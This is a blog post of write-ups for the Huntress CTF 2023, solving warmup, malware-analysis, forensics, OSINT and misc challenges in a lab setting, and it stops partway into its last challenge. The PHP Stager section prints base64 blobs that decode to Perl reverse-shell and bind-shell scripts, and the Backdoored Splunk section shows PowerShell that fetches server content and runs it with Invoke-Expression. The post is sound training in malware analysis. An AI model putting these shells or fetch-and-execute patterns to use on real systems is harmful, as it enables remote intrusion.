Skip to main content
  1. Posts/

Huntress CTF 2023

·30 mins· 0 · 0 ·
Jason Davis
Author
Jason Davis
Information Security Professional
Table of Contents
The team at Huntress put together one of the best CTFs I have seen so far for Cybersecurity Awareness Month 2023. The event ran from 1-31 October with new challenges dropping each day. Some served as a nice revisit to tools and techniques I’ve seen before; where others provided a fun opportunity to learn something new. I didn’t get the chance to finish them all, but here’s a writeup for each challenge I solved. My favorite: Tragedy Redux!

Scoreboard #

Team Name: D2CTF | Username: SlowMo7ion

Alt text


WARMUPS #

BaseFFFF+1 #

Alt text

Maybe you already know about base64, but what if we took it up a notch?

Solution Walkthrough

  1. Examine the file contents:

    鹎驣𔔠𓁯噫谠啥鹭鵧啴陨驶𒄠陬驹啤鹷鵴𓈠𒁯ꔠ𐙡啹院驳啳驨驲挮售𖠰筆筆鸠啳樶栵愵欠樵樳昫鸠啳樶栵嘶谠ꍥ啬𐙡𔕹𖥡唬驨驲鸠啳𒁹𓁵鬠陬潧㸍㸍ꍦ鱡汻欱靡驣洸鬰渰汢饣汣根騸饤杦样椶𠌸

  2. With the unrecognizable text, let’s think back on the challenge title and hint. The hexadecimal value: FFFF corresponds to 65535 in decimal. Adding one to that equals 65536. Is there such thing as base65536?

  3. Turns out, there is. Base65536 Decode Online Tool

    base65536 encodes data in a similar fashion to base64, but its alphabet, instead of being 64 characters long, is 65536 characters long. This means, one can map 16 bits of data into a single unicode codepoint.

    Decoding is much more interesting*. I deviate a little from base64 in the part where I handle non-Base65536-codepoints. as Base65536 does not assign meaning to any single-byte codepoint, those can be placed anywhere inside the encoded string, either for formatting (whitespace, which can also be added automatically by the encoding function) or inserting cleartext messages. Even when having the abort-on-decoding-error enabled, base65536 will not stop when encountering an ASCII (7bit) character. This is meant as a feature.

  4. Let’s use this tool to decode the message and retrieve the flag

    Alt text

Answer: flag{716abce880f09b7cdc7938eddf273648}


CaeserMirror #

Alt text

Caesar caesar, on the wall, who is the fairest of them all? Perhaps a clever ROT13?

NOTE: this flag does not follow the usual MD5 hash standard flag format. It is still wrapped with the code>flag{} prefix and suffix.

Solution Walkthrough

  1. Download and open the file

    Alt text

  2. Using the hint, let’s throw it into CyberChef.

    • Take the First half of the text and use the ROT13 operation

    Alt text

    • Then take the second half and use the ROT13 and Reverse operations

    Alt text

  3. With the message decoded and in the correct order, assemble both halves and grab each piece of the flag from the body of text.

    Oh boy! Wow, this warmup challenge sure was a lot of fun to put together! I so definitely absolutely always love trying to think up new and innovative things to do with the very basic, common and classic CTF techniques! The first part of your flag is flag{julius_ and that is a great start but it is not everything that you will need to solve this challenge. I don’t like trying to hide and separate each part of the flag. The second part of the flag is in_a_ but you do need just a little bit more. What exactly should we include here to try and makethis filler text look more engaging and worthwhile? Should we add newlines? Should we add spaces and try and make it symmetrical? How many lines is enough to make this filler text look believable? A solid square of letters within a simple, monospace-font text file looks good enough to me. Are we almost at the end? It looks like it! I hope it is good. The third part of your flag is reflection} and at this point you should have everything that you need to submit this flag for points. The beginning is marked with the flag prefix and the opening curly brace and it includes English words separated by underscores, to end in a closing curly brace. Wow! Now THAT is a CTF! Who knew we could milk the caesar cipher to this extent?? Someone get that Julius Caesar guy a medal!

Answer: flag{julius_in_a_reflection}


F12 #

Alt text

Remember when Missouri got into hacking!?! You gotta be fast to catch this flag!

Solution Walkthrough

  1. Navigate to the web page and click on the Capture The Flag button. A pop-up window opens, but immediately closes. Let’s inspect the source to see if we can learn more about what happens when we click the button.

    Alt text

    • A javascript function ctf() appears to open another window to a page called capture_the_flag.html when the Capture The Flag button is pushed.
  2. The capture_the_flag.html page is in the same directory as the page, so let’s append it to our URL.

  3. Now we see a button that says Your flag is:, but when we click on it nothing happens. Let’s inspect the source again to see what it’s supposed to do and reveal the flag.

    Alt text

    Video Walkthrough:

Answer: flag{03e8ba07d1584c17e69ac95c341a2569}


Dialtone #

Alt text

Well would you listen to those notes, that must be some long phone number or something!

Solution Walkthrough

  1. Using a Dual Tone Multi Frequency (DTMF) tool, we can detect the corresponding numbers for each dialtone. This can be done with dtmf or dtmf2num on the command line, or through a web-based tool such as DialABC

    dtmf dialtone.wav
    

    Alt text

  2. Viewing the file in Sonic Visualiser confirms that the individual dialtones are consecutive without inconsistent pauses, or other timing anomalies that might indicate T9, or another cipher.

    Alt text

  3. Since we have a large integer from the dialtone pattern, we can try converting it to Hexadecimal using Python.

    • Note: Use the builtin format() function in Python. The codecs.encode() method, CyberChef, and other online conversion tools do not pass the value as an integer and return incorrect Hex data.

      #!/usr/bin/env python
      
      dialtone = 13040004482820197714705083053746380382743933853520408575731743622366387462228661894777288573
      dhex = format(dialtone, 'x')            #int to hex
      
      print(dhex)
      

      Alt text

      • Our output looks like valid Hex data, maybe we can go to ASCII. Put it all together in a single script.
  4. Let’s add another line to our Python program to convert the Hex value to ASCII and return the flag. To solve this challenge, we went from: dialtone -> integer -> Hex -> ASCII

    #!/usr/bin/env python
    import codecs
    
    dialtone = 13040004482820197714705083053746380382743933853520408575731743622366387462228661894777288573
    dhex = format(dialtone, 'x')            #int to hex
    flag = codecs.decode(dhex, 'hex')       #hex to ascii
    
    print(flag.decode())                    #print flag as a string
    

    Alt text

Answer: flag{6c733ef09bc4f2a4313ff63087e25d67}


Comprezz #

Alt text

Someone stole my S’s and replaced them with Z’s! Have you ever seen this kind of file before?

Solution Walkthrough

  1. Determine file type using file

    file comprezz
    

    Alt text

  2. Since this is compress’d, let’s use the uncompress command. To do that, we have to add the .z extension first.

    mv comprezz comprezz.z          #rename file with .z extension
    uncompress -f comprezz.z        #uncompress th data
    
  3. Run the file command again on comprezz

    file comprezz
    

    Alt text

  4. cat comprezz to reveal the flag

    cat comprezz
    

    Alt text

Answer: flag{196a71490b7b55c42bf443274f9ff42b}


Baking #

Alt text

Do you know how to make cookies? How about HTTP flavored?

Solution Walkthrough

  1. Based on the challenge description, we can safely assume that we’ll need to perform cookie manipulation. Interact with the site using a browser with developer options open and see what cookies are stored. They will be under the Application tab in the Storage section.

    Alt text

    • We can see that the Magic Cookies need to bake for 7200 minutes, Maybe we can speed this up

    Alt text

    • There is a cookie stored with a base64 encoded value
  2. Let’s decode in the value in CyberChef to see what data is being passed to the site. There is a timestamp we might be able to manipulate to trick the server into thinking that the 7200-minute bake time has already passed

    Alt text

  3. Using CyberChef, let’s back-date the cookie value by 1 year, re-encode to base64, then get ready to send it to the server with BurpSuite.

    Alt text

  4. Using BurpSuite, we can modify the cookie using proxy interception before sending it to the server. Paste our updated base64 cookie value, then forward the request to the server to reveal the flag

    Alt text

    Alt text

  • Video Walkthrough:

Answer: flag{c36fb6ebdbc2c44e6198bf4154d94ed4}


MALWARE #

Zerion #

Alt text

We observed some odd network traffic, and found this file on our web server… can you find the strange domains that our systems are reaching out to? NOTE, this challenge is based off of a real malware sample. We have done our best to “defang” the code, but out of abudance of caution it is strongly encouraged you only analyze this inside of a virtual environment separate from any production devices.

Solution Walkthrough

  1. Verify the file type with file

    Alt text

  2. Since this looks like it is a php script, let’s open the file in a text editor to view the syntax (truncated output)

    Alt text

  3. It looks like script is chaining multiple encodings and patterns together, let’s break down each step:

    1. The syntax appears to be reversed (note the strrev function and base64 padding “==” at the beginning of the encoded string)
    2. The characters are rotated with ROT13 (str_rot13)
    3. The syntax has been base64 encoded
  4. Reverse the order of encoding using CyberChef to reveal the full syntax and flag.

    Alt text

Answer: flag{af10370d485952897d5183aa09e19883}


HumanTwo #

Alt text

During the MOVEit Transfer exploitation, there were tons of “indicators of compromise” hashes available for the human2.aspx webshell! We collected a lot of them, but they all look very similar… except for very minor differences. Can you find an oddity? NOTE, this challenge is based off of a real malware sample. We have done our best to “defang” the code, but out of abudance of caution it is strongly encouraged you only analyze this inside of a virtual environment separate from any production devices.

Solution Walkthrough

  1. Unzip the file contents

    unzip human2.aspx_iocs.zip -d human2.aspx_iocs
    

    Alt text

  2. These filenames look like hashes, let’s inspect the contents of a few to see if there are any obvious differences

    • Cycling through a few files in a text editor reveals a slight change on line 36 for each file

    Alt text

  3. Now that we have found a change from file to file, we can drill into that further. Let’s use grep against a common string on line 36 to see if anything else stands out

    grep -r "String.Equals" .   #run from dir containing files
    

    Alt text

    • Nice! We found something different on the cc53495bb42e4f6563b68cdbdd5e4c2a9119b498b488f53c0f281d751a368f19 file. Let’s try to decode the values on this line
  4. The strings seem to represent hexadecimal values (containing a-f 0-9 only). Let’s use CyberChef with the From Hex recipe to decode the text and reveal the flag

    Alt text

Answer: flag{6ce6f6a15dddb0ebb332bfaf2b0b85d1}


Hot Off The Press #

Alt text

Oh wow, a malware analyst shared a sample that I read about in the news! But it looks like they put it in some weird kind of archive…? Anyway, the password should be infected as usual! NOTE, this challenge is based off of a real malware sample. We have done our best to “defang” the code, but out of abudance of caution it is strongly encouraged you only analyze this inside of a virtual environment separate from any production devices.

Solution Walkthrough

  1. Download the hot_off_the_press file and inspect what file type it is.

    file hot_off_the_press
    

    Alt text

    • This is a UHarc archive file, so we can use some Windows tools to examine it further We’ll move over to Windows for the rest of the challenge
  2. In Wndows:

    1. Disable Virus & Threat Protection Settings to avoid issues while extracting the malware sample
    2. Download the hot_off_the_press file again and add the .uha file extension
    3. Download the uharc06b cmd utility and extract the contents of the archive.
    .\uharc06b\UHARC.EXE e -pw .\hot_off_the_press.uha
    

    Alt text

  3. Open the hot_off_the_press.ps1 file in a text editor to dissect the encoded text. We’ll focus on decoding the base64, then handle the gzip compression.

    Alt text

  4. Use CyberChef to create the following Recipe to handle the initial encoded string:

    • Remove all non base64 characters
    • Replace the format string characters: {0} and {1} respectively
    • Convert From Base64
    • Gunzip
  5. Use CyberChef again to create another Recipe and reveal the flag

    • Convert From Base64

    • From Hex

      Alt text

Answer: flag{dbfe5f755a898ce5f2088b0892850bf7}

Resources:


PHP Stager #

Alt text

Ugh, we found PHP set up as an autorun to stage some other weird shady stuff. Can you unravel the payload? NOTE, this challenge is based off of a real malware sample. We have done our best to “defang” the code, but out of abudance of caution it is strongly encouraged you only analyze this inside of a virtual environment separate from any production devices. Download the file(s) below. Attachments: phonetic

Solution Walkthrough

  1. Open the phoentic file in a text editor to examine the code.

    Alt text

    • The deGRi function has several components which appear to be a layer of obfuscation. We may be able to use it to decode the payload later.

    • The variable assignments have been randomized using a for-each loop against randomized characters to mask their real contents, let’s use an interactive php session to decipher them.

      php -a
      
    • Run each section of the code separately to reveal variables:

      Alt text

      • Variable Contents:
        • $gbaylYLd6204 = the long base64 encoded payload
        • $fsPwhnfn8423 = the base64_decode function
        • $oZjuNUpA325 = the strrev function
        • $k = the create_function function
          • note: create_function is no longer used in php and won’t be included in this solution
  2. Now that we know the variables, copy and paste the entire deGRi function and $gbaylYLd6204 variable contents into the interactive session.

  3. Use the discovered functions to piece together a command that will leverage the deGRi function reveal the base64 encoded the payload stored in $gbaylYLd6204.

    echo base64_decode(deGRi(base64_decode($gbaylYLd6204), "tVEwfwrN302"));
    

    Alt text

    • Within the payload, there is an interesting function: actionNetwork() with more base64 encoded variables.
  4. Using python or an online tool like CyberChef, decode the internal variables.

    import codecs
    
    #assign base64 encoded values as bytes using variables
    back_connect = b"IyEvdXNyL2Jpbi9wZXJsCnVzZSBTb2NrZXQ7CiRpYWRkcj1pbmV0X2F0b24oJEFSR1ZbMF0pIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsKJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsKJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsKc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllKCJFcnJvcjogJCFcbiIpOwpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7Cm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOwpvcGVuKFNURE9VVCwgIj4mU09DS0VUIik7Cm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsKbXkgJHN0ciA9IDw8RU5EOwpiZWdpbiA2NDQgdXVlbmNvZGUudXUKRjlGUUE5V0xZOEM1Qy0jLFEsVjBRLENEVS4jLFUtJilFLUMoWC0mOUM5IzhTOSYwUi1HVGAKYAplbmQKRU5ECnN5c3RlbSgnL2Jpbi9zaCAtaSAtYyAiZWNobyAke3N0cmluZ307IGJhc2giJyk7CmNsb3NlKFNURElOKTsKY2xvc2UoU1RET1VUKTsKY2xvc2UoU1RERVJSKQ=="
    bind_port = b"IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="
    
    #decode the base64
    bc_out = codecs.decode(back_connect, 'base64')
    bp_out = codecs.decode(bind_port, 'base64')
    
    #print both outputs as a string
    print(bc_out.decode(),bp_out.decode())
    

    Alt text

  5. The syntax after the uuencode.uu line looks strange. Decode it using an online UUEncode Decoder to reveal the flag.

    Alt text

Answer: flag{9b5c4313d12958354be6284fcd63dd26}


Snake Eater #

Alt text

Hey Analyst, I’ve never seen an executable icon that looks like this. I don’t like things I’m not familiar with. Can you check it out and see what it’s doing?

Archive password: infected

NOTE, this challenge is based off of a real malware sample. Windows Defender will probably identify it as malicious. It is strongly encouraged you only analyze this inside of a virtual environment separate from any production devices.

Static Analysis WalkthroughUnsuccessful

Initial triage with binwalk, strings, and Ghidra didn’t provide any immediate clues to follow.

  1. The snake_eater.exe icon is still the default image for PyInstaller, a tool used to bundle a Python application as a Portable Executable (.exe) file. Let’s try to reverse the process and obtain the original Python script.

    Alt text

  2. Using pyinstractor, extract the contents of snake_eater.exe.

    python pyinstractor.py
    

    Alt text

  3. If we try opening the extracted snake_eater.pyc file, the contents are still in byte-code and unreadable.

    Alt text

  4. Using pycdc, we can disassemble the byte-code.

    • Move pycdc.exe and snake_eater.pyc into the same directory and run pycdc.exe passing the output to a txt file
      .\pycdc.exe .\snake_eater.pyc > snake_eater.txt
      
  5. The byte-code has been disassembled, but the contents have been obfuscated wth Pyarmor

    Alt text

  6. I was ultimately unsuccessful in finding a way to de-obfuscate the script further. I decided to move on to Dynamic Analysis.

Dynamic Analysis Walkthrough

  1. Download and install the Sysinternals Suite

  2. Steps to analyze using Procmon:

    1. Launch Procmon64.exe
    2. Launch snake_eater.exe
    3. After a few seconds, press CTRL + E to pause monitoring
      • (this will speed up our filtering and query results)
    4. Open the Process Tree
      1. Select the snake_eater.exe process on the left-hand side
      2. Click on Go To Event
      3. Click on Close
        Alt text
    5. Open the Filter window and apply common malware analaysis filters to minimize the output.
      • Pro Tip: Filter on the process name for snake_eater.exe to narrow things down even more!

        Alt text

  3. Back in the main process log window, we can start scrolling down to get an idea of everything happening while snake_eater.exe was running. Eventually we’ll come across some file operations that contain the flag.

    • We could speed this up even more by doing a CTRL+F for flag{

    Alt text

Answer: flag{d1343a2fc5d8427801dd1fd417f12628}


Opendir #

Alt text

A threat actor exposed an open directory on the public internet! We could explore their tools for some further intelligence. Can you find a flag they might be hiding? NOTE: This showcases genuine malware samples found a real opendir. For domain reputation purposes, this is behind Basic Authentication with credentials: opendir:opendir

Solution Walkthrough

  1. Visiting the page in a browser, we can see the directory structure and files within.

    Alt text

  2. After manually exploring a few files on the site, there are enough files and data that we will want to employ an automated method of finding the flag.

  3. Using wget, download all of the files into a directory

    wget -r --user opendir --password opendir http://chal.ctf.games:30001/
    
  4. Now, use a recursive grep to find the flag

    grep -r "flag{" .
    

    Alt text

Answer: flag{9eb4ebf423b4e5b2a88aa92b0578cbd9}


FORENSICS #

Traffic #

Alt text

We saw some communication to a sketchy site… here’s an export of the network traffic. Can you track it down? Some tools like rita or zeek might help dig through all of this data!

Solution Walkthrough

  1. Download and unzip the log files into a directory

    wget https://huntress.ctf.games/files/efd8115eedbda53848676208e38e6afc/traffic.7z
    7z x traffic.7z
    mv 2021-09-08 traffic
    
  2. List out the contents we just unzipped. Following the hints, let’s start with the DNS logs to search for a “sketchy site”

    Alt text

  3. Using zcat to parse the gzipped files, let’s look at fields first to better understand column positions within the log, then the first 10 entries in the DNS logs to see how they are structured. We can see from here that dns queries are listed in the 10th field.

    zcat dns.*.log.gz | grep "^#fields" | head -1   #view the fields
    zcat dns.*.log.gz | cut -f 3,5 -d ' ' | sort -u | head -10 #first 10 log entries 
    

    Alt text

  4. Let’s focus on the 10th position to isolate DNS hostnames and see if anything stands out.

    zcat dns.*.log.gz | cut -f 3,5 -d ' ' | awk '{print $10}' | sort | uniq -c | sort -nr
    

    Alt text

  5. At first glance, nothing obvious jumps out. Let’s grep for “sketch” based on our hint above.

    zcat dns.*.log.gz | cut -f 3,5 -d ' ' | sort -u | awk '{print $10}' | grep sketch
    

    Alt text

    • Nice! We found 6 instances to sketchysite.github.io let’s check it out
  6. Visit sketchysite.github.io for the flag

    Alt text

Answer: flag{8626fe7dcd8d412a80d0b3f0e36afd4a}


Wimble #

Alt text

“Gretchen, stop trying to make fetch happen! It’s not going to happen!” - Regina George, Mean Girls

Solution Walkthrough

  1. After downloading, list and extract the contents of wimble.7z to see what we’ll be working with

    7z l wimble.7z      #list contents
    7z x wimble.7z      #extract contents to current directory
    

    Alt text

  2. Determine the file type of the newly extracted file named fetch

    file fetch
    

    Alt text

    • We can see that fetch is still compressed. List the contents
    7z l fetch
    

    Alt text

    • The contents comtain prefetch files indicated by the .pf extension. Let’s jump over to Windows to analyze them further.
  3. In Windows, download and install Eric Zimmerman’s Forensic Tools and the .net6 framework (if needed) to examine the prefetch data

    • Set up a Directory to install the EZ tools into, then run the Get-ZimmermanTools.ps1 script

      Alt text

  4. Set up a working directory in Windows and get the prefetch files ready for analysis. We’ll use a directory named fetch for this example:

    1. Download wimble.7z again
    2. Extract the fetch archive again and add the .wim extension to the file, it now should look like: fetch.wim
    3. Lastly, extract all of the contents from fetch.wim to the fetch directory
  5. Run PECmd.exe against the working directory and use findstr -i to search for a flag string and reveal the flag.

    Alt text

Answer: FLAG{97F33C9783C21DF85D79D613B0B258BD}


Dumpster Fire #

Alt text

We found all this data in the dumpster! Can you find anything interesting in here, like any cool passwords or anything? Check it out quick before the foxes get to it!

Solution Walkthrough

  1. Extract the contents of the dumpster_fire.tar.xz file and set up a working directory.

    mkdir Dumpster-Fire                 #create working dir
    cd Dumpster-Fire                    #move into working dir
    xz -d -v dumpster_fire.tar.xz       #unzip
    tar -xvf dumpster_fire.tar          #extract
    rm dumpster_fire.tar                #clean up compressed file
    ls -lisa                            #list extracted contents
    

    Alt text

    • It looks like we’re working with a root directory of a Linux system.
  2. Based on the hints in the description, navigate through the /home directory for clues.

    cd home
    cd challenge
    cd .mozilla
    cd firefox
    cd bc1m1zlr.default-release
    
  3. Now that we are are exploring the Firefox data within the user’s profile, let’s check out logins.json where credentials can be stored within the browser.

    cat logins.json
    

    Alt text

    • We have an encrypted username and password to work with
  4. Use firefox_decrypt, to break the username and password to get the flag

    Alt text

Answer: flag{35446041dc161cf5c9c325a3d28af3e3}


Backdoored Splunk #

Alt text

You’ve probably seen Splunk being used for good, but have you seen it used for evil?

NOTE: the focus of this challenge should be on the downloadable file below. It uses the dynamic service that is started, but you must put the puzzle pieces together to be retrieve the flag. The connection error to the container is part of the challenge.

Solution Walkthrough

  1. Check out the site, we get a clue in the error message that we need a proper header to proceed.

    Alt text

  2. Exctract the file contents, then browse through the Splunk_TA_windows directory. After some digging, we’ll come across a web request in the nt6-health.ps1 script. There is some base64 encoded text in the Authorization Header within the file, we can try decoding it in CyberChef for another clue.

    Alt text

  3. We now know this is the payload we need to use. Modify the code in nt6-health.ps1 to craft a PowerShell script that isolates the http response from the web server containing the flag.

    $PORT = '30199'     #Dynamic to the running service of the `Start` button
    $OS = @($html = (Invoke-WebRequest http://chal.ctf.games:$PORT -Headers @{Authorization=("Basic YmFja2Rvb3I6dXNlX3RoaXNfdG9fYXV0aGVudGljYXRlX3dpdGhfdGhlX2RlcGxveWVkX2h0dHBfc2VydmVyCg==")} -UseBasicParsing).Content
    
    if ($html -match '<!--(.*?)-->') {
        $value = $matches[1]
        $command = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($value))
        Invoke-Expression $command
    })
    
    Write-Host ($OS)
    

    Alt text

    • This flag was not returned with the curly braces. Add them before submission.

Answer: flag{60bb3bfaf703e0fa36730ab70e115bd7}


VeeBeeEee #

Alt text

While investigating a host, we found this strange file attached to a scheduled task. It was invoked with wscript or something… can you find a flag?

NOTE: this challenge is based off of a real malware sample. We have done our best to “defang” the code, but out of abudance of caution it is strongly encouraged you only analyze this inside of a virtual environment separate from any production devices.

Solution Walkthrough

  1. Do initial recognition using the file command to determine file type (if there is one). This one is just raw data

    file veebeeeee
    

    Alt text

  2. Open in a text editor to view the data.

    Alt text

  3. The data is not human-readable, so let’s try CyberChef and start with the Magic operation

    Alt text

  4. CyberChef found a Recipe to decode the text. Use Microsoft_Script_Decoder() to make the ouput more readable.

    Alt text

  5. We need to clean this up further by removing all of the instances of: ''''''''''''''''al37ysoeopm'al37ysoeopm

  6. Now we can begin identifying how the PowerShell commands are obfuscated within the script:

    1. The strings contianing the code have been separated into multiple variables, then concatenated together

      Alt text

    2. Ampersands & are removed later in the script to finish cleaning up the syntax, so let’s clean up the rest of it and assemble everything

      Alt text

  7. We have finished cleaning up the syntax. With the code cleaned up, we can see that a request is being made to pull a file from a Pastebin link; a common staging place for malware.

    Alt text

  8. Since this is a CTF and not real malware, let’s visit the link to reveal the flag: https://pastebin.com/raw/SiYGwwcz

    Alt text

Answer: flag{ed81d24958127a2adccfb343012cebff}


Tragedy Redux #

Alt text

We found this file as part of an attack chain that seemed to manipulate file contents to stage a payload. Can you make any sense of it?

Archive password: infected

Solution Walkthrough

  1. Download and extract the attachment to reveal a file without an extension. Run file to discover that this is supposed to be a .zip archive

    Alt text

  2. Rename the file to add the .zip extension and try to extract the contents. Notice that we are getting a bad offset error when using the command line.

    Alt text

  3. If we try to extract in the GUI, we get another error, but can also see that the [Content_Types].xml file did not extract properly.

    Alt text

  4. Taking a look at the file header based on the error we just saw, we can see that it doesn’t have the correct magic bytes for a .zip file.

    hexdump -C tragedy_redux.zip | head -10    #view header
    

    Alt text

  5. Let’s go ahead and update that to the proper PK.. header. Reference: File Magic Numbers

    hexedit tragedy_redux.zip                  #make header updates
    

    Alt text

  6. A quick Google search on the file names in the zipped folder lets us know that this is in Open XML File Format. We’ll need to move our zip file over to Windows where we can run it in Microsoft Word for further analysis. We can transfer the file in the lab environment with a Python Simple HTTP Server:

    python -m http.server 9000
    
  7. With the tragedy_redux.zip file moved to our Windows analyst workstation and open in Microsoft Word, we can go to View > Macros > Step Into to start debugging the embedded macro in this file.

  8. After attempting to run the Macro a few times, nothing appears to be happening. We need to adjust the operator from <> (not equal) to = (equal) within the “If” statement in the Tragedy() function so that it will ignore the file name and execute.

    Alt text

  9. After exploring how each function is intertwined in the source and seeing that the output isn’t printed to the console, we can set a breakpoint at the end of the Nuts() function to investigate further. Enable the Locals page by clicking on View > Locals Window to see what values are being stored in memory as the macro executes.

  10. Execute the macro again with the breakpoint to reveal a base64 encoded stored in the Nuts & Oatmilk variables.

    • Video showing how the flag is revealed in the VBA debugger:

  11. Decode the base64 encoded string we just found for the flag.

    $base64String = "JGZsYWc9ImZsYWd7NjNkY2M4MmMzMDE5Nzc2OGY0ZDQ1OGRhMTJmNjE4YmN9Ig=="
    [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64String))
    

    Alt text

Answer: flag{63dcc82c30197768f4d458da12f618bc}


Rogue Inbox #

Alt text

You’ve been asked to audit the Microsoft 365 activity for a recently onboarded as a customer of your MSP. Your new customer is afraid that Debra was compromised. We received logs exported from Purview… can you figure out what the threat actor did? It might take some clever log-fu!

Solution Walkthrough

  1. Open the CSV file in excel to get a complete view of the file. While doing this, you’ll noticed the pattern for the flag in some mailbox rules created by the DebraB user. You can type it in manually and submit.

    Alt text

Answer: flag{24c4230fa7d50eef392b2c850f74b0f6}


OSINT #

Where am I? #

Alt text

Your friend thought using a JPG was a great way to remember how to login to their private server. Can you find the flag?

Solution Walkthrough

  1. Verify the file type using the file command

    file PXL_20230922_231845140_2.jpg
    

    Alt text

    • The description seems off, it looks like encoded text, let’s explore this further.
  2. Decode the description to reveal the flag

    Alt text

Answer: flag{b11a3f0ef4bc170ba9409c077355bba2)


TCM: Tokyo Drift #

Alt text

Ugh! One of our users was trying to install a Texas Chainsaw Massacre video game, and installed malware instead. Our EDR detected a rogue process reading and writing events to the Application event log. Luckily, it killed the process and everything seems fine, but we don’t know what it was doing in the event log.

The EVTX file is attached. Are you able to find anything malicious?

Archive password: infected

Solution Walkthrough

  1. After extracting the .evtx file, let’s use EvtxECmd to process the log file into a .csv, then open with TimelineExplorer from Eric Zimmerman’s Forensic Tools.

    & 'C:\huntress-ctf\tools\EZ Tools\net6\EvtxeCmd\EvtxECmd.exe' -f '.\Application Logs.evtx' --csv .
    

    Alt text

  2. Open the newly created .csv file in TimelineExplorer

  3. By analyzing the data, eventually we come across Event ID 1337. Exploring further, the payload has a large encoded string of hex characters.

    Alt text

    Alt text

  4. We can use the “From Hex” recipe in CyberChef to decode to ascii, which reveals some obfuscated PowerShell syntax.

    Alt text

  5. We can use a text editor to help run and decode the message for us. In this first command, we need to remove the pipe “|” symbol and everything after to output the results to the console.

    Alt text

  6. The next iteration of encoded text is a little easier to read. If we look closely at the bottom line, most of the string has been reversed. If we change the noIsseRpXe-ekovni function to tsoH-etirW, we can output our results to the console again.

    Alt text

  7. With this output, it is still encoded PowerShell syntax, but a little easier to read. We can use the Write-Host cmdlet again to output the results to the console.

    Alt text

  8. Success! Now we have human-readable syntax. We can cut out the try/catch block and clean up the command to reveal the flag… and a nice easter egg

    $5GMLW = (Resolve-DnsName eventlog.zip -Type txt | ForEach-Object { $_.Strings })
    if ($5GMLW -match '^[-A-Za-z0-9+/]*={0,3}$') { 
        Write-Output([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($5GMLW)))
    }
    

    Alt text

Answer: flag{409537347c2fae01ef9826c2506ac660}

easter egg: https://youtu.be/561nnd9Ebss?t=16


MISC #

I Wont Let You Down #

Alt text

OK Go take a look at this IP: Connect here: http://155.138.162.158

USING ANY OTHER TOOL OTHER THAN NMAP WILL DISQUALIFY YOU. DON’T USE BURPSUITE, DON’T USE DIRBUSTER.

Solution Walkthrough

  1. Let’s check out the url in a browser. Yep, it’s a Rick-roll! But, we also got a hint to try nmap

    Alt text

  2. Port scan the ip using nmap. Since this is a single host we can scan all 65535 ports with -p-. We will also tell nmap to assume it is online with the -Pn switch, then start with a TCP scan with -sT, and attempt to detect running services with -sV.

    nmap -Pn -sT 155.138.162.158 -p- -sV 
    

    Alt text

  3. Our scan revealed some services running on non-standard and high port numbers. Since these aren’t commonly used, let’s do a banner grab with netcat, which reveals the flag.

    nc 155.138.162.158 8888
    

    Alt text

    • It’s also a Rick-roll like the web page, but we still got the flag!

Answer: flag{93671c2c38ee872508770361ace37b02}


Operation Not Found #

Alt text

In the boundless web of data, some corners echo louder than others, whispering tales of innovation, deep knowledge, and fierce competition. On the lush landscapes of https://osint.golf/, a corner awaits your discovery… where intellect converges with spirit, and where digital foundations stand alongside storied arenas.

This is the chall1 challenge for the “HuntressCTF2023” challenges It’s a lot like Geoguesser if you have ever played :)

  • Navigate to OSINT Golf and select the chall1 challenge.
  • You will see an interface similar to Google Street View, where you can look around and zoom in on your surroundings. Try and determine your location on the map of the earth!
  • Move your mouse over the minimap in the bottom-right corner, and scroll to zoom or click and hold to pan around the map.
  • Click and place your pin-marker on the map where you believe your exact location is. The accuracy radius is 200 meters.
  • Click Submit. If you are incorrect, it will say “not here” on the top left. If you are correct, your flag will be displayed in the top-left corner.
  • Copy and paste the flag value into the input box below and submit it to solve this challenge!
  • Crosland Tower - Georgia Tech University

    Alt text

    • chall1 Answer: flag{c46b7183c9810ec4ddb31b2fdc6a914c}
  • Rick Roll Bridge

    Alt text

    • chall2 Answer: flag{fdc8cd4cff2c19e0d1022e78481ddf36}

Rock, Paper, Psychic #

Alt text

Wanna play a game of rock, paper, scissors against a computer that can read your mind? Sounds fun, right?

NOTE: this challenge binary is not malicious, but Windows Defender will likely flag it as malicious anyway. Please don’t open it anywhere that you don’t want a Defender alert triggering.

Solution Walkthrough

  1. Extract the file and try to interact with the program.

